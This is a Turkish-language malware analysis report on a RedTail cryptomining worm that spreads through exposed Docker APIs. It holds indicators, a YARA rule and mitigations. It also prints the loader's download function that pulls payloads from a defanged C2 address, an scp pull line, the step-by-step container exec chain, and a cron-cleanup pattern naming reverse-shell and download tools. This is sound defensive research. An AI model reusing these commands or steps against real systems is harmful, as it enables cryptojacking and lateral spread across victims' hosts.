Bu sayfa bir çeviridir. Esas alınan metin İngilizce sürümdür. İngilizcesini okuyun

malware · cryptomining · redtail · docker · linux · honeypot · worm

Bir RedTail Kampanyasının İç Yüzü: Açıkta Olan Docker API'leri Üzerinden Kendi Kendine Yayılma

Kinryū Labs bal küpleri, RedTail kripto madencisinin kimlik doğrulaması bulunmayan Docker Engine API'leri ve bırakılan SSH anahtarları üzerinden yayıldığını yakaladı. Bu inceleme; yükleyici, rakip temizleme betiği, madenci ve canlı göstergelerle birlikte güncel ve eksiksiz biçimde yakalanmış bir örneği belgeliyor.

Yazan Davis Zheng·

TLP:CLEAR. Kamuya açık yayım için onaylanmıştır. Kinryū Labs bal küpü sensör ağı tarafından yakalanmıştır. Aşağıdaki göstergeler etkisizleştirilmiş biçimde verilmiştir.

Yönetici özeti

  • 2375açıkta olan Docker API, giriş yolu
  • 4hedeflenen CPU mimarisi
  • ~21saktörün içeri girme süresinin tamamı
  • solucan gibi yayılabilirmadenciye gömülü SSH istemcisi

2026 Haziran’ın başı ile ortası arasında bal küpü ağımız, TCP/2375 üzerinde internete açık Docker Engine API’leri aracılığıyla yayılan ve 2023’ün sonundan bu yana görülen XMRig tabanlı bir Monero madencisi olan RedTail’i bırakan bir solucan yakaladı. Tehdit aktörü açık Docker API üzerinden çalışan konteynerleri listeliyor, her birinin içinde komut çalıştırıyor, kalıcılık ve yatay hareket için bir SSH özel anahtarı bırakıyor, ardından çok mimarili bir yükleyici indiriyor. Yükleyici, yayılma için kendi SSH istemcisini ve yeni hedefler bulmak için bir libpcap dinleyicisi taşıyan bir madenci kuruyor.

Yük tartışmasız biçimde RedTail. RedTail en çok web uygulaması istismarlarıyla (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link) geldiğiyle bilinir ve açıkta olan Docker API’lerini kullanması da daha önce raporlanmıştır. Bu inceleme, söz konusu Docker API dağıtımının güncel ve eksiksiz biçimde yakalanmış bir örneğini ekliyor: canlı C2 ve göstergeler, sistemin kendi kendini çoğaltmasını sağlayan SSH anahtarı bırakma adımı ve önceki incelemelerin işaret ettiği ama ele geçiremediği rakip temizleme betiği.

Madenci şifreli bir çalışma zamanı yapılandırması taşıyor ve gömülü bir cüzdan içermiyor; bu nedenle örnekten bir Monero adresi çıkarmamız mümkün değil. Adresin elde edilmesi, ağ yakalamasıyla birlikte canlı bir patlatma gerektiriyor.

Öne çıkan bulgular
  • Yük RedTail'dir (yüksek güven). libredtail evbuffer_tls dizgesi, .redtail kalıntısı, yükleyicideki redtail yedek değeri ve şifreli yapılandırmalı / cüzdansız derleme, ailenin 2024 sonrası sürümleriyle örtüşüyor.
  • Kampanya solucan gibi yayılabilir niteliktedir (yüksek güven). Docker API araçları, bırakılan anahtar ve madencinin yerleşik SSH istemcisi, yeni bulaşmış bir sistemin bir sonraki kurbanı kendi başına bulması için gereken her şeyi oluşturuyor.
  • Operatörün motivasyonu maddi kazançtır (orta düzeyde güven). Kimlik bilgisi hırsızlığı ve ağ dinleme, ayrı bir veri hırsızlığı hedefinden çok yayılmaya hizmet ediyor gibi görünüyor.
  • Docker API vektörü RedTail için daha önce raporlandı ve hâlâ iyi işliyor. TCP/2375 üzerinde açıkta olan tek bir soket, aktöre sistemdeki her konteynerin içinde root olarak kod yürütme imkânı veriyor.

Saldırı zinciri

[0] Reconnaissance     Internet scan for exposed Docker API :2375
        │
[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)
        │
[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)
        │
[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
        │
[4] Ingress (Stage 2)  Pull loader:  scp dlr@217.60.195[.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)
        │
[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal
        │
[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
        │
[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)
        │
[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

Aşama 1: Docker API üzerinden ilk erişim

Tehdit aktörü, kimlik doğrulaması bulunmayan REST API’yi TCP/2375 üzerinde açıkta bırakan Docker Engine örneklerini hedef alıyor. Aktörün tüm işlem dizisi yaklaşık 21 saniye sürdü:

  1. Motorun parmak izini almak ve konteynerleri listelemek için GET /version ve GET /containers/json.
  2. Çalışan her konteynere karşı POST /containers/{id}/exec ve ardından POST /exec/{id}/start.
  3. Saldırganın SSH anahtarını yazan ve yükleyiciyi indiren, konteyner içinde çalışan bir kabuk yükü.

Bunu tek seferlik bir madenciden solucana dönüştüren adım, bu son adım. Bulaşan ve kendi Docker API’sini de açıkta bırakan bir sistem, aynı listele-ve-çalıştır yordamını bir sonraki kurban grubuna karşı yürütecek.

Bırakılan SSH anahtarı (kalıcılık ve yatay hareket)

ÖzellikDeğer
TürOpenSSH ed25519 özel anahtarı
Yorumdlr@sftp
Açık anahtar SHA256 parmak iziSHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
Çekme kaynağı (SCP kanalı)dlr@217.60.195[.]113

Özel anahtarı yayımlamıyoruz. Aramak için yukarıdaki parmak izini kullanın: tüm envanterinizde authorized_keys ve ~/.ssh dizinlerini kontrol edin.

Aşama 2: /sh yükleyicisi

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 Tür: POSIX kabuk betiği

Küçük, taşınabilir ve dikkatli yazılmış bir yükleyici.

Rastgele gizli dosya adı. get_random_string(), sırasıyla /dev/urandom, openssl ve $RANDOM deneyerek 4 ile 35 karakter arasında alfanümerik bir ad üretiyor; bunların tümü başarısız olursa redtail dizgesine geri dönüyor. Bu geri dönüş değeri, aileyi ele veren kullanışlı bir işaret. Madenci, düz bir ls çıktısında görünmemesi için başına nokta konarak .<random> adıyla yerleşiyor. VirusTotal bu örneği bu adlardan biriyle, .mn6VTucEsFZY1PdSC2QAq olarak barındırıyor.

İndirme yardımcısı. C2 kendinden imzalı olduğu için dlr() TLS doğrulamasını kapatıyor ve wget başarısız olursa curl’e geçiyor:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

noexec’e duyarlı hazırlık alanı. Yükleyici /proc/mounts dosyasını okuyor, noexec ile bağlanmış her noktayı eliyor ve hem yazabileceği hem de çalıştırabileceği bir yer bulmak için find / -user $(whoami) -perm -u=rwx çalıştırıyor. Her adayı kullanmadan önce 2 MB’lık bir dd veya truncate ile yazma testinden geçiriyor; bu, çoğu yükleyicinin göze aldığından fazla bir zahmet: alışılmış yaklaşım /tmp dizinine yazıp en iyisini ummaktır.

Rakip temizliği. clean betiğini indirip çalıştırıyor (dlr clean; chmod +x clean; sh clean; rm -rf clean), ardından siliyor. O betiği de ele geçirdik ve aşağıda ayrıntılı olarak inceliyoruz. Rakiplerin kalıcılık ve hazırlık alanlarını hedef alıyor, çalışan süreçlere dokunmuyor.

Ortalığı toplama. Yenisini kurmadan önce .redtail ile önceki .<random> dosyasını siliyor.

Mimari seçimi. Bir uname -mp switch yapısı derlemeyi seçiyor:

ARCH eşleşmesiİndirilen
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
bilinmeyendördünü de kaba kuvvetle indirir, her birini çalıştırır

Çalıştırma. ./.<random> $1; yükleyicinin özgün $1 değeri aktarılıyor ve RedTail bunu kampanya veya vektör etiketi olarak değerlendiriyor.

clean rakip temizleme betiği

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 Tür: Bash betiği (795 bayt)

clean betiğini bal küplerine gelen sonraki bir isabette yakaladık. Tek işi, RedTail makineyi tek başına kullanabilsin diye diğer kötücül yazılımları sistemden temizlemek:

  • Cron temizliği. Her kullanıcı crontab’ı (/var/spool/cron/crontabs/*), sistem crontab’ı (/etc/crontab, /etc/crontabs), drop-in dizini (/etc/cron.{hourly,daily,weekly,monthly,d}) ve /etc/anacrontab için chattr -ia ile değiştirilemezlik bitini kaldırıyor (rakip kötücül yazılımlar kendi cron satırlarını korumak için bunu ayarlıyor) ve ardından yeniden bulaşma kalıbıyla eşleşen her satırı siliyor:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    Bu, meşru cron girdilerine dokunmadan diğer grupların indirme mekanizmalarını ve ters kabuklarını söküp atıyor.

  • Adı belirli bir rakibi devre dışı bırakma. c3pool_miner systemd hizmetini devre dışı bırakıp durduruyor; bu, doğrudan c3pool madencisine yönelik bir hamle.

  • Hazırlık alanını silme. /tmp, /var/tmp ve /dev/shm dizinlerini rm -rf ile boşaltıyor; böylece rakip yükler ve ortak kullandıkları geçici alan temizleniyor.

Çalışan süreçlerin atlanması bir tercih. Toplu süreç sonlandırma CPU’yu hemen serbest bırakır ama izlenen bir sistemde tam olarak alarm üreten türden bir olaydır; cron satırlarını sökmek ve hazırlık dizinlerini boşaltmak ise rakibin yeniden bulaşma mekanizmasını ortadan kaldırır, böylece tahliye, aksi halde onu geri alacak olan yeniden başlatmadan sonra da geçerli kalır.

Aşama 3: RedTail madencisi (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b Boyut: 1,880,264 bayt (1.79 MB) Biçim: ELF 64-bit LSB EXEC (statik bağlı, non-PIE), x86-64, giriş noktası 0xaa9e18 Paketleyici: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 kötücül, topluluk puanı −60, ilk görülme ~2026-06-05 Tehdit etiketleri: trojan.usblem26/abminer; aileler usblem26 / abminer / gen3

Paketleme ve analiz karşıtı önlemler

  • Başlığı bozulmamış UPX 5.02. upx -d örneği sorunsuz biçimde yaklaşık 5 MB’lık, statik bağlı bir ELF’e açıyor.
  • Dosyasız yürütme. VirusTotal’ın kod içgörüleri, yükün anonim bir bellek dosya tanıtıcısından doğrudan çalıştırılması için memfd_create (sistem çağrısı 0x13f) kullanıldığını, buna /proc/self/exe üzerinden yeniden yürütmenin ve /dev/shm hazırlık alanının eşlik ettiğini gösteriyor. Diske hiçbir şey yazılmadığı için disk tabanlı antivirüs hiç devreye giremiyor.
  • Süreç adı taklidi (sets-process-name) sayesinde normal süreçler arasına karışıyor.
  • Hata ayıklayıcı atlatma (detect-debug-environment). Kamuya açık RedTail incelemeleri, ptrace ile kendi kendini hata ayıklamayı ve ikili dosyanın GDB’yi etkin biçimde sonlandırdığını anlatıyor.
  • Uç nokta antivirüsü hakkında bir not. Microsoft Defender paketlenmiş ELF’i Trojan:Linux/Multiverze!rfn olarak işaretliyor ve diskten okunmasını engelliyor; bu nedenle statik ön inceleme yalıtılmış bir makinede veya bellekte yapılmak zorunda.

Doğrulanan bileşenler (paketi açılmış .rodata dizgelerinden)

XMRig madencilik çekirdeği

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail, aileyi tanımlayan ağ yığını

libredtail evbuffer_tls
Connection  keepalive  User-Agent

Özelleştirilmiş bir libevent ve TLS’li HTTP istemcisi. libredtail evbuffer_tls dizgesi, RedTail’i standart bir XMRig derlemesinden ayıran unsur.

Gömülü SSH istemcisi (yatay hareket ve kimlik bilgisi hırsızlığı)

ssh-userauth   ssh-ed25519   sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com   ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

Madenci eksiksiz bir SSH istemcisi taşıyor. dlr@sftp anahtarının bırakılmasının ve yayılmanın arkasındaki motor bu. Kimlik bilgisi hırsızlığını ve SSH ile yayılmayı madenci ikili dosyası kendisi yürütüyor. Bunların hiçbiri dropper’da yer almıyor.

Gömülü libpcap (ağ dinleme)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

Sistem üzerinde paket yakalama; yerel ağdaki sistemlerin ve kimlik bilgilerinin keşfiyle uyumlu.

Kodlama tabloları. Hem standart hem URL güvenli Base64 alfabeleri görünüyor (...+/ ve ...-_); yapılandırma çözme yordamı bunları kullanıyor.

Yapılandırma ve atıf boşluğu

Paketi açılmış ikili dosyada IP adreslerini, URL’leri, stratum, pool ve Monero adres kalıplarını ayrıntılı biçimde aradık. İçindeki tek havuzlar, her XMRig derlemesinde bulunan ve operatörün denetiminde olmayan XMRig’in yerleşik geliştirici bağış havuzları (donate.ssl.xmrig.com, donate.v2.xmrig.com). Açık metin hâlinde saldırgana ait bir havuz, vekil sunucu veya cüzdan yok.

Bu bilinçli bir tercih ve RedTail’in 2024’ten bu yana geldiği noktayla örtüşüyor. Madencilik yapılandırması şifreli ve yalnızca çalışma anında bellekte çözülüyor; son derlemeler hiç cüzdan taşımıyor, bunun yerine özel bir havuzu veya havuz vekilini işaret ediyor. Dolayısıyla:

  • Bu örnekten bir Monero cüzdanı çıkarmamız mümkün değil.
  • Havuz vekili ancak ağ tuzağı eşliğinde canlı bir patlatmayla ortaya çıkar (bkz. metodoloji).

Atıf

Bu, .redtail madencisi olarak da bilinen RedTail; ilk kez 2023’ün sonu ile 2024’ün başında ele alınan, XMRig türevi bir Monero madencisi. Örtüşen noktalar:

  • Yalnızca bu aileye özgü olan libredtail evbuffer_tls dizgesi.
  • .redtail kalıntısı ve yükleyicideki redtail yedek değeri.
  • Şifreli yapılandırmalı / cüzdansız derleme, çok mimarili yükleyici, clean rakip betiği ve SSH kimlik bilgisi hırsızlığı; bunların tümü bilinen RedTail özellikleri.

Karşılaştırma için, aile adına kayıtlara geçmiş dağıtım vektörleri şunlar: CVE-2024-3400 (PAN-OS), CVE-2023-46805 ve CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI) ve CVE-2023-1389 (TP-Link). VirusTotal ayrıca bu örneği CVE-2021-41773 (Apache 2.4.49/2.4.50 dizin geçişinden RCE’ye) ve CVE-2015-2808 (RC4, “Bar Mitzvah”) ile de etiketliyor.

RedTail’in açıkta olan Docker API’lerini kullanması daha önce raporlandı, dolayısıyla vektörün kendisi yeni değil. O önceki raporlamada zayıf kalan kısım zincirin ortasıydı ve bu yakalama tam oraya oturuyor: çıkarımla değil doğrudan ele geçirilerek elde edilen clean betiği, toplama anında canlı olan C2 ve yük özetleri ve döngüyü Aşama 1’e geri bağlayan, bırakılmış dlr@sftp anahtarı.

Görünüm

Cryptojacking grupları, içeri girme yöntemlerini yükü değiştirdiklerinden çok daha sık değiştiriyor ve RedTail’in modüler yükleyicisi bir giriş yöntemini bir başkasıyla değiştirmeyi kolaylaştırıyor. Açık bir Docker API, yapılması ucuz bir değişiklik. Bakımı gereken bir istismar kodu ve yarışılacak bir yama döngüsü yok; sağladığı erişim makinedeki her konteynerin içinde root düzeyinde ve internete açık 2375 arzı tükenmedi. RedTail daha önce de buradaydı.

Operatörün Docker API vektörünü web istismarlarının yerine koymak yerine onlarla birlikte sürdürmesinin muhtemel olduğunu değerlendiriyoruz; bu da erişilebilir sistem sayısını artırmaktan başka bir sonuç doğurmuyor. Konteyner çalıştırıyorsanız, açıkta olan bir Docker API’yi halka açık internette duruyormuş gibi ele alın, çünkü fiilen öyle.

İhlal göstergeleri

Ağ

GöstergeBağlam
14.46.136[.]77C2 / yük sunucusu (HTTPS, kendinden imzalı). /sh, /clean, /x86_64, /i686, /aarch64, /arm7 sunuyor. Bulut çıkışını ASN’ye göre filtreliyor.
hxxps://14.46.136[.]77/shAşama 2 yükleyici URL’si
hxxps://14.46.136[.]77/cleanRakip temizleme betiği (cron / hazırlık alanı temizliği)
217.60.195[.]113SCP anahtarı / yük kaynağı (dlr@217.60.195[.]113)

Dosyalar (SHA256 / MD5)

DosyaSHA256MD5
sh (yükleyici)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean (rakip temizliği)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (madenci)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

Sistem üzerindeki kalıntılar

GöstergeBağlam
.redtailMadenci kalıntısı / önceki bulaşma işareti
.<random alnum> örn. .mn6VTucEsFZY1PdSC2QAqGizli madenci dosya adı (başta nokta + rastgele)
SSH anahtarı yorumu dlr@sftpBırakılan anahtar
Açık anahtar parmak izi SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vgBırakılan anahtarın parmak izi; authorized_keys içinde arayın
/dev/shm, /var/tmp, /tmp veya kullanıcının yazabildiği herhangi bir rwx dizininde hazırlanan dosyalarHazırlık alanı konumları

Davranışsal

  • memfd_create (sistem çağrısı 0x13f) ile anonim bir dosya tanıtıcısından ELF yürütülmesi.
  • /proc/mounts dosyasını okuduktan sonra find / -perm -u=rwx çalıştıran bir süreç (noexec’e duyarlı hazırlık alanı).
  • Süreç adı taklidi; ptrace tabanlı hata ayıklayıcı atlatma.
  • Standart olmayan bir sunucuya giden stratum+tcp:// / stratum+ssl:// trafiği.
  • systemctl disable c3pool_miner ve systemctl stop c3pool_miner (rakibin tahliyesi).
  • crontab yollarına karşı chattr -ia çalıştırılması ve hemen ardından cron içinden wget / curl / ters kabuk satırlarının toplu silinmesi.
  • /tmp/*, /var/tmp/* ve /dev/shm/* üzerinde rm -rf (rakibin hazırlık alanının silinmesi).

Tespit

Sistem tespiti (süreç / EDR mantığı)

Sırasıyla şunları yapan bir süreç için alarm üretin:

  1. /proc/mounts dosyasını okur, ardından find / ... -perm -u=rwx ... çalıştırır ve
  2. herkesin yazabildiği bir dizine başında nokta bulunan, rastgele adlı bir dosya yazar ve
  3. memfd_create çağırır, ardından elde edilen dosya tanıtıcısından yürütme yapar.

Bunların her biri tek başına zayıf. Üçü birlikte bu yükleyici için güçlü bir sinyal.

Aday YARA kuralı (paketi açılmış ikili dosya)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

Bu kural, UPX paketi açılmış ikili dosyayla eşleşir. Paketlenmiş örnek için UPX imzası, dosya boyutu (~1.79 MB) ve yukarıdaki VirusTotal özetleri üzerinden ilerleyin.

Ağ tespiti

  • 14.46.136[.]77 ve 217.60.195[.]113 adreslerine giden trafiği engelleyin ve alarm üretin.
  • İzin listesinde olmayan herhangi bir hedefe yönelik stratum+tcp / stratum+ssl trafiği için alarm üretin.
  • Tek harfli veya mimari adı taşıyan yollara yapılan HTTP(S) GET istekleri için alarm üretin (/sh, /x86_64, /aarch64, /arm7).

Azaltıcı önlemler

  1. Docker API’yi (2375/2376) güvenilmeyen ağlara açmayın. localhost’a veya korunan bir sokete bağlayın ve TLS istemci sertifikasıyla kimlik doğrulamasını zorunlu kılın. Tek başına bu denetim ilk erişim adımını tümüyle kırar.
  2. Tüm envanterde ~/.ssh/authorized_keys dosyalarını dlr@sftp anahtarı ve parmak izi için denetleyin.
  3. Stratum trafiğini ve yukarıdaki C2 IP adreslerini çıkış filtrelemesine tabi tutun ve izleyin.
  4. Mümkün olan yerlerde /tmp, /var/tmp ve /dev/shm dizinlerini noexec ile bağlayın. Bu çıtayı yükseltir, ancak bu yükleyici noexec’e duyarlı ve yazılabilir, çalıştırılabilir başka bir dizin aramaya koyulur.
  5. Konteynerleri sıkılaştırın: ihtiyacınız olmayan yetenekleri kaldırın, salt okunur kök dosya sistemleri kullanın ve en az yetki ilkesiyle çalıştırın; böylece içeriye yapılan bir exec, saldırgana kullanılabilir bir yürütme ortamı sunmasın.

MITRE ATT&CK eşlemesi

TaktikTeknik
Initial AccessT1190 Exploit Public-Facing Application (Docker API)
ExecutionT1609 Container Administration Command; T1059.004 Unix Shell
PersistenceT1098.004 SSH Authorized Keys
Defense EvasionT1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion
Credential AccessT1552.004 Private Keys; T1040 Network Sniffing
DiscoveryT1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery
Lateral MovementT1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Command and ControlT1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer
ImpactT1496 Resource Hijacking (kripto madenciliği)

Metodoloji ve analist notları

  • Aşama 2 ve Aşama 3’ü canlı C2’den HTTPS üzerinden çektik. 14.46.136[.]77, büyük bulut sağlayıcılarının adres alanı için zaman aşımına düşüyor ama ev kullanıcısı aralıklarına içerik sunuyor; bu, otomatik bulut kum havuzlarını işlevsiz bırakan bir ASN veya coğrafi çıkış filtresi.
  • Paketlenmiş ELF, Microsoft Defender’ı tetikliyor (Trojan:Linux/Multiverze!rfn) ve korumalı bir Windows sisteminde diskten okunması bile mümkün olmuyor; bu nedenle ilk ön inceleme bellekte yapıldı, arşiv bir Python süreci içinde açıldı ve ham ELF hiçbir zaman diske yazılmadı.
  • Paket açma işlemi, yalıtılmış bir FLARE-VM içinde upx -d ile yapıldı. Paketi açılmış ikili dosyayı çalıştırmadan, dizgeler ve yapı üzerinden statik olarak analiz ettik.
  • Madenciyi çalıştırmadık; bu nedenle çalışma anında şifresi çözülen havuz vekili ve Monero yapılandırması bu raporda yer almıyor.
  • Saldırganın özel anahtarını yakaladığımız veriden elde ettik ve yayımlamıyoruz. Göstergelerde yalnızca açık anahtar parmak izi (yukarıda) yer alıyor; savunmacıların authorized_keys içinde bırakılmış dlr@sftp anahtarını aramak için ihtiyaç duyduğu şey de bu.

Önerilen sonraki adım (havuz vekili göstergesini elde etmek için)

Havuz vekilini elde etmek için, paketi açılmış ikili dosyayı yalıtılmış bir Linux makinesinde (REMnux uygun) şunlarla birlikte patlatın:

  • bağlantıyı ortaya çıkarmak için bir ağ tuzağı (INetSim veya fakedns ile birlikte her şeyi yakalayan bir TCP dinleyicisi),
  • stratum CONNECT ve oturum açma işlemini yakalamak için tcpdump -i any -w redtail.pcap ve
  • madencinin ilk connect() çağrısından hemen önce şifresini çözdüğü açık metin yapılandırmayı almak için strace -f; bu yapılandırma, TLS onu hat üzerinde gizlese bile genellikle okunabilir durumda oluyor.

Bu kampanya için hâlâ eksik olan son gösterge, söz konusu sunucu ve port.

Örnekler

Örnekler (yükleyici, clean betiği ve paketlenmiş madenci) talep üzerine diğer araştırmacılara ve savunmacılara sunulabilir. Kim olduğunuzu ve bunlara ne için ihtiyaç duyduğunuzu kısaca belirten bir not ile contact@kinryu.sh adresine e-posta gönderin.

Sample
RedTail · 59c29436755b0778…
How to cite
Kinryū Labs (2026). Bir RedTail Kampanyasının İç Yüzü: Açıkta Olan Docker API'leri Üzerinden Kendi Kendine Yayılma. https://kinryu.sh/tr/reports/redtail-cryptominer-exposed-docker-api/